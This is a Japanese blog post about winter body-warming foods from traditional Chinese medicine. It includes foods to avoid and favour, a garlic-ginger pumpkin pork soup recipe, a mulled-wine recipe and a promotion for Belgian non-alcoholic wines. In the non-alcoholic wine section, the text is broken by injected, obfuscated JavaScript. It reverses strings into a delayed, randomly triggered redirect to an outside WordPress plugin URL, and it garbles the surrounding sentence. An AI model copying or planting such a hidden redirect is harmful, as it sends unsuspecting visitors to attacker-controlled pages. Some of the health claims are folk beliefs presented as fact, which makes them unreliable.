2022/1/5 posted

冬に食べたい温活食材＆温活レシピ

一年のうちで最も寒さが厳しくなるこの季節。
温かい洋服や寝具をそろえたり、暖房器具を使って温かく過ごすのはもちろんですが、今年はぜひ、食べ物によって体の中からぽかぽかに温まる「食べる温活」を取り入れて、体の内からも外からも温かく過ごしてみませんか？

まずは、その元になっている中医学の考え方をみてみましょう。

◇食べ物は薬、「医食同源」の考え方とは

「医食同源」という言葉をご存じですか？
医食同源とは、病気を癒やす薬と、毎日口にする食べ物は、いずれも人間の生命を養い健康を維持するという点で同じであるという意味です。
日々の食事に気を付けることが、病気を遠ざける一番の方法であるという、伝統的な中医学に基づいた考え方をいいます。

古代中国の周王朝（紀元前11世紀~紀元前3世紀）の時代に記された、王朝の諸制度について記した書物「周礼」をひも解いてみると、当時、医師は「食医」「疾医」「瘍医」「獣医」4つの種類に分類されていました。
皇帝の健康を維持するため、体質や現在の健康状態に合わせて細かく食生活の指導を管理を行うのが食医、現在でいう内科医が疾医、外科医が瘍医、獣医のこれら4つのうち、最も最高位とされたのが食医でした。
このような古い時代から、病気になってから薬を飲んで治療するのではなく、日頃から病気にならないよう、毎日食べる食物に気を配って未病を防ぐ事が重要という考え方が浸透していたのです。

さて、中医学に基づいた伝統的な食養生では、中国古来の哲学思想である「陰陽五行」に基づき、食材をその色彩や味わい、性質によって分類します。
そのうち、食材が人間の体に与える性質による分類を「五性」といい、五性には「寒、涼、平、温、熱」の5種類があります。

寒性 / 涼性の食材・・・体の熱を下げる性質がある。寒性の方が、体を冷やす働きが強い。
平性・・・温めも冷ましもしないため、常食しても体に影響を与えにくい。また、他の性質の食材と組み合わせて、その作用を緩和する。
温性 / 熱性・・・気血の巡りを良くして、体を温める作用がある。熱性の方が、冷えを取り除く効果が強い。

この五性の考え方に基づいて、冬に摂取するのを避けたい食材、そして、冬こそ積極的に摂りたい食材について考えてみましょう。

◇これは食べてはいけない！冬のNG食材

・冬のNG食材　その１　【夏野菜】

現在ではハウス栽培が盛んなため、冬でも手に入ってしまう夏野菜のキュウリやトマト、レタス。
カラフルなので、お弁当や食事のちょっとした彩りにも便利ですが、これらの野菜は体を冷やす作用のある寒性 / 涼性の食材です。
一般に、本来夏が旬の野菜については体を冷やす性質を持つものが多いため、冬場の摂取、特に生で食べるのは避けましょう。

ただし、これらの食べ物も、加熱調理することで、その作用を軽減することができます。
例えば、きゅうりなら揚げて中華風のあんかけにする、トマトはトマトソースや煮込み料理に使う、レタスはチャーハンやスープの具にして加熱すれば、安心して食べても大丈夫です。
また、後述する、体を温める作用のある食材やスパイス類と組み合わせて食べることでも、体を冷やす作用を軽減することができます。

・冬のNG食材　その２　【南国フルーツ】

同様に避けたいのは、バナナ、キウイ、マンゴーなど南国のフルーツ。
暑い地域で育った果物は、熱を取り体を冷やす寒性ものが多いため、冬場の摂取は避けたいものです。
現在では、輸入品として一年中スーパーで見かけるためつい手に取りがちですが、注意が必要です。

特に、手軽に手に入るバナナには要注意です。
手軽な糖質補給源として知られるバナナ。ご飯を食べる時間のない時に、食事代わりに食べたり、スムージーにしておやつや朝食代わりに飲んでいるという方も多いと思います。
しかし、冬場は体を冷やすことになるので気を付けてくださいね！

・冬のNG食材　その３　【コーヒー、ウーロン茶etc】

また、温かいお茶は体を温めてくれそうなイメージですが、緑茶や麦茶、中国でも南の地域で作られるウーロン茶やプーアル茶、南国産のコーヒーなども、体を冷やす作用がある寒性の食材に分類されます。
特に、コーヒーは習慣的に飲んでいるという方も多いと思いますが、冷え性を自覚する方は控えた方が良いかもしれませんね。

なお、薬膳では冬に飲むお茶としては、熱性に分類される紅茶やジャスミン茶が良いといわれています。
もちろん、ホットで飲んでくださいね！

◇冬に食べたい温活食材

では、冬こそ積極的に摂取したい体を温める作用の強い熱性 / 温性の食材、そして、効果的な食べ方をご紹介しましょう。

・冬のおすすめ食材　その1　【ショウガ】

冬の温め食材の筆頭といえばショウガ。薬膳的には、気・血を巡らせて体を温める作用のある温性の食品となります。
生しょうがには、ジンゲロールという強い殺菌・解熱作用のある成分が多く含まれますが、加熱するとこのジンゲロールが、体を温めてくれるショウガオールという成分に変化します。
ショウガオールは、胃腸を刺激して血流を増やし、体の深部の温度を高めてくれます。体を芯からジワジワと温める作用があるため、代謝が悪くて体温が低い方、血の巡りが悪く、冷えで冬が辛いという方にはぜひ摂取していただきたい成分です。

なお、ショウガの中のショウガオールを増やすには、ショウガをシッカリと加熱する必要があります。80度程度の温度で3時間加熱すると、ショウガ中のジンゲロールの約50%をショウガオールに変化させることができるといわれています。
簡単に3時間の加熱を行うには、保温できる水筒を使うと便利です。
ショウガひとカケラを用意し、汚れた部分を包丁で除きます。皮付きのままスライスして、保温できる水筒に入れ、沸騰したお湯を注いで3時間待ちましょう。しっかりショウガオールが溶け込んだ、ショウガ風味の白湯ができあがります。
このショウガ白湯で、ショウガ紅茶やジンジャーレモネードを作ったり、料理に使用すればショウガオールがたっぷり摂取できますよ！

なお、残ったショウガのカケラにも、まだ多くのショウガオールが含まれていますので、捨ててしまうのはもったいない！
皮を除いて甘煮や佃煮にしたり、千切りにして炒め物や汁物に加えても美味しくいただけます。
また、残ったショウガを、天日で干したり、オーブンの低温でカリカリに乾燥させておくと、ショウガオールを劣化させずに常温保存することが可能です。
ミルで挽いて粉末にすると、ショウガバウダーとして飲み物やお料理に手軽に使えて便利ですよ。

なお、生ショウガも、食べた後は一時的に手足がぽかぽかになります。
これは、生ショウガに含まれるジンゲロールに、末端の血管を拡張する作用があるため。
しかし、ジンゲロールの場合、体の深部の血液を末端に送り出すことで手足を温めるため、逆に体の深部からは熱が奪われることになります。また、ジンゲロールは発汗を促すので、汗によって体温を下げてしまい、かえって体を冷やしてしまう可能性もありますので要注意です。
これは、東南アジアなどの暑い国で、スパイスとしてショウガをよく摂取することからも、納得がいきますね。
しかし、生ショウガの即効性ある温め効果は捨てがたいものです。
手先・足先が冷えてしょうがないという方は、生ショウガと、体を芯から温めてくれる加熱した生姜と組み合わせて摂取するようにすれば、効果が倍増しますよ。

また、強い成分を含むため、ショウガの一日の適量は多くても10グラム程度まで。量にするとひとカケラ程度です。
冷えやすい体質の改善のためには、習慣的に毎日少しずつ摂取するとよいでしょう。

・冬のおすすめ食材　その2　【玉ネギ・長ネギ・にんにく】

香辛野菜である玉ネギ・長ネギ・にんにくも、ショウガ同様、体を温める作用のある温性食品です。
これらの香辛野菜に共通して含まれるのは、アリシンという成分。アリシンはユリ科の野菜に多くふくまれるイオウ化合物・硫化アリルの一種で、切ったりすりつぶしたりすることで発生し、強烈な臭いや辛みを持っているのが特徴です。

アリシンには、強力な殺菌作用や、ビタミンB1と結合して疲労回復効果やスタミナアップ効果を発揮する、免疫力を高めるなど、さまざまな作用がありますが、中でも冬場に注目したいのが、血液をサラサラにして、血行を良くする働きです。
末梢の血行を良くして手足を温めたり、発汗を促進してくれるため、冷え性の改善や風邪の症状の緩和に期待ができます。

また、アリシンは、加熱するとスコルジニンという物質に変化します。
スコルジニンは新陳代謝を活発にし、血行を促進する働きがあるので、こちらも冬場には積極的に取りたい成分となります。

なお、アリシンを効果的に摂取するポイントは、煮汁まで食べられる料理に使うこと。
アリシンは水溶性の成分のため、水にさらしたり、湯がくと溶け出してしまいます。
なので、調理する場合は、汁の出ないお料理に使ったり、逆にスープなど煮汁までしっかり食べられる料理に使うのが、無駄なく摂取するコツです。
冬場であれば、お味噌やスープの仕上げに小口切りにした長ネギをたくさん散らしたり、オニオングラタンスープのような玉ネギとニンニクをふんだんに使ったスープにすると、体をシッカリ温めてくれそうですね。

・冬のおすすめ食材　その3　【カボチャ】

冬を代表する野菜のイメージのあるカボチャ。
「冬至に食べると風邪をひかない」「冬至に食べると運がつく」などと言われて冬野菜として愛されているカボチャは、薬膳的にも温性食品に分類されており、体を温める作用があります。

しかし、ご存じですか？実は国産カボチャの収穫期は夏。カボチャは7月から8月ごろが収穫のピークの夏野菜なのです。
しかし、とれたてのカボチャは水分が多く、でんぷんが多く糖分が少ないため甘みが少なく、美味しくありません。
そこで、収穫から3カ月程度寝かせて追熟させます。この間に、含まれるでんぷんが糖に代わり、また水分も抜けて、秋から冬を迎える頃には私たちが普段スーパーで購入するような甘くてホクホクのカボチャになるのです。
ちょうど冬至頃は、カボチャが一番美味しくなるシーズンでもあるわけですね。

ちなみに近年では、日本とは四季が逆の南半球にあるニュージーランドやトンガ、通年がカボチャ栽培に適した気候のメキシコの高地で栽培されたものが輸入されているため、1年中美味しいカボチャが食べられます。

さて、カボチャに含まれる栄養素で最も注目すべきなのはベータカロチン。
ベータカロチンは摂取すると体内でビタミンＡに変換されて作用します。
ビタミンＡには皮膚や粘膜を健康に保つ効果があるため、冬場のベータカロチンの摂取は、口・鼻・のどや肺を健康に保ち、風邪予防に効果的といわれてい
ます。

そしてカボチャは、若返りのビタミンとして良く知られるビタミンEも豊富に含んでいます。
高い抗酸化作用をもつビタミンEは、血管を収縮させる神経伝達物質の生成を抑えて毛細血管を拡張する作用があるため、体の末梢の血流を改善する効果が期待できます。特に、手足に冷えを感じやすい方にぜひ摂取していただきたい栄養素です。

これら以外にも、以下のような食材が、熱性 / 温性に分類されます。
冬の食生活の参考にしてくださいね。

熱性・・・コショウ、山椒、八角、シナモン、クローブなどのスパイス類。
唐辛子（ただし、同時に発汗を促し熱を取る作用もあるので、冬場の使用には注意が必要です）

温性・・・ニンジン、ニラ、アスパラガス、蕪、柑橘類、栗、クルミ、松の実、モチ米、麹
鶏肉、牛肉・羊肉・鹿肉などの赤い肉
鰻・穴子、アジ・イワシ・サバなど青魚、鮭、タラ、エビ
日本酒、赤ワイン、酢、黒砂糖、ココア

◇温活おすすめレシピ
「にんにくショウガのカボチャ豚汁」

では、これらの温活食材をふんだんに利用した、究極の温めレシピ「にんにくショウガのカボチャ豚汁」をご紹介しましょう！

味と香りのポイントになるのが、温め効果抜群のショウガとにんにく。
ショウガはしっかり炒めて煮込むことでショウガオールを引き出します。また、にんにくもしっかり煮込んで、代謝をアップさせてくれる成分・スコルジニンを引き出しましょう。

そして、具材には、免疫力アップと風邪予防に最適な冬場の緑黄色野菜の代表格・カボチャと、温め成分アリシンを含む玉ねぎを加えました。
玉ねぎは、アリシン以外にもケルセチンというポリフェノールを含んでいます。
高い抗酸化作用を持つケルセチンは、血管や赤血球の柔軟さを保ち血流の流れをスムーズにしてくれるため、さらに血行の改善効果に期待ができます。ケルセチンは熱にも強いため、しっかり煮込んでも大丈夫ですよ。
仕上げに長ネギを散らして、温め成分アリシンをさらに追加しましょう。

また、豚肉はビタミンB1を豊富に含むことで知られますが、ビタミンB1はアリシンと結びつくとアリチアミンという成分に変化します。
ビタミンB1は、炭水化物を分解して体の活動に必要なエネルギー源を作り出す過程で不可欠な栄養素。疲労回復や、免疫機能の維持に欠かせないビタミンです。
ビタミンB1は水溶性のため体からすぐに排出されてしまいますが、アリシンと結びついて、アリチアミンに変化すると脂溶性となるため体に吸収されやすく、体内にも長時間とどまり作用してくれます。
風邪の季節でもある冬、体力を保ち、免疫力を高めて風邪に負けないためにも、アリシンと合わせてビタミンB1を摂取しましょうね。

にんにくショウガのカボチャ豚汁（4人分）

【材料】
・にんにく、ショウガ　各1かけ
・玉ねぎ　1/2個
・豚バラ肉　150グラム
・ニンジン　中1/2本
・だいこん　10センチ
・カボチャ　1/8個
・薄揚げ　1/2枚
・えのきだけ　1/2袋
・長ネギ　1/2本
・水　5カップ
・顆粒だし　小さじ2
・みそ　大さじ5程度
・ごま油　少々（炒め用と仕上げ用）

【作り方】
１．材料を切っておく。
にんにく、ショウガはみじん切り。
豚バラは2センチ幅にカット。
玉ねぎは高さを半分にして薄切りに。
ニンジン、だいこんはいちょう切り。
カボチャは種、ワタを取り3センチ×1センチくらいにカット。
薄揚げは熱湯をかけて油抜きし、縦を半分にして、1センチ程度の幅にカット。
えのきだけは2-3センチの長さにカットしてほぐしておく。
長ネギは仕上げに入れるので、小口切りにして器に入れておく。

２．鍋にごま油を熱して、にんにく・ショウガを炒める。
良い香りがしてきたら、玉ねぎをいれてさらに炒める。玉ねぎがしんなりしたら、豚肉を入れて、色が変わるまで炒める。
さらに、ニンジン、だいこんを加え、野菜の色が変わるまで炒める。

３．２．に水を加え、顆粒だしとみその半量を入れて沸騰させる。沸騰したら中火で5分ほど煮る。

４．３．に薄揚げ、カボチャを加えて、カボチャが柔らかくなってくるまでさらに煮る。

５．仕上げにえのきだけを入れて2分程度加熱し、長ネギの小口切りを入れて火を止める。味をみながら残りのみそを入れて、ちょうどよい味に調える。
仕上げにごま油を回しかけて、香りを付けて召し上がれ。

◇温活おすすめレシピ　
「ホットワイン/ノンアルコールホットワイン」

さて、食べ物だけではなく、飲み物でもぽかぽかに温まりたいという方におすすめしたいのがホットワイン。
赤ワインに、シナモン、クローブ、しょうがなどのスパイス、そして柑橘類などの果物を加え、砂糖や蜂蜜で甘くして温めた飲み物がホットワインです。
ヨーロッパでは、冬の風物詩として各地でクリスマスマーケットが開かれますが、クリスマスマーケットで飲まれる定番のドリンクとしても知られています。

中医学では、お酒（赤ワイン）、そしてスパイス類はいずれも、体を温める作用の強い熱性の食品とされており、特に、スパイス類は古くから、陽の気を補い、気の巡りを促進するための生薬としても利用されてきました。
アルコールによる血行促進作用に加え、生薬の作用で体を温かく保つホットワインは、ヨーロッパの寒い冬を暖かく過ごすための伝統の知恵なのです。
普段からワインをよくたしなむという方は、今年の冬は自宅でホットワインを作って、身も心も温かくなってみませんか？もちろん、ノンアルコールワインでも作れますよ！

【レシピ】赤ワインで作るぽかぽかホットワイン/ノンアルコールホットワイン

材料（2人分）
・赤ワイン（または、ノンアルコール赤ワイン）…350ml
・オレンジ…1/4個
・レモンスライス…1枚
・水…50㏄
・しょうが…スライス2枚
・シナモンスティック　1本、またはシナモンパウダー少々
・クローブ…2個
・はちみつ…大さじ1

（作り方）
1．しょうがは皮をむいて薄くスライスする。オレンジは良く洗って、外皮を付けたまま輪切りにします。

2．小鍋に水を入れ、はちみつ、しょうが、シナモン、クローブを入れふたをして火にかける。煮立ったら弱火にして3分加熱して、スパイスの成分を引き出す。

3．オレンジ・レモンと、赤ワイン（ノンアルコール赤ワイン）を加える。沸騰寸前で火を止めたら完成です。

◇ホットワインにおすすめなノンアルコールワインはこれだ！

ホットワインは飲みたいけれど、体質的にお酒に弱かったり、妊娠・授乳などさまざまな健康上の理由で禁酒中の方は、ノンアルコールワインで作るホットワインを楽しんでみましょう！
MELLOW stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toreで販売中のベルギーのネオブュル社のノンアルコールワインより、ホットワインにぴったりなワイン2種類をご紹介します。

ベルギーのネオブュル社のノンアルコールワインのおいしさの秘密は、いったん醸造して作った本物のビールやワインを特殊なタンクを使って蒸留する「減圧蒸留法」。
蒸留タンクを減圧することで液体の沸点を下げ、元のお酒に含まれる成分をなるべく変化させない40度以下の低温でアルコールを蒸発させてノンアルコール化しました。
さらに、アルコールより低い温度で蒸発してしまう香りの成分を回収し、もう一度お酒に戻す技術により、元のお酒に近い味わいを再現しています。

なので、元々のワインがもつアロマやフレーバーはそのままに、アルコールはO.O %。ノンアルコールにも関わらずまるで本物のワインのような味わいが楽しめますよ。
なお、アルコールを含まないため、100mlあたり20kcalと低カロリーなので、ダイエット中の方にも安心です。

アルコールを含まないノンアルコールワインで作るには、体を温める作用が高いしょうがやシナモンをたっぷり入れて作ってくださいね！

☆ヴィンテンス　メルロー（赤）

赤いベリーの果実味に程よいタンニン、ほんのりしたオークのロースト香。
フルーティさの中に、わずかにスパイシーさが感じられる、赤ワイン好きの方にも満足していただける繊細で優しい味わいのノンアルコール赤ワインです。

☆ヴィンテンス・オリジン・レ・ギャレ（赤）

ブドウ栽培から醸造、瓶詰までをワイン作りのスペシャリストである「エノロジスト」が監督。原料となるブドウの品質にこだわりぬいて作られた、ワンランク上のノンアルコールワインです。
ブラックベリーやブルーベリーのしっかりとした果実味、ソフトな口当たりながらボリュームや力強さも感じられるノンアルコール赤ワイン。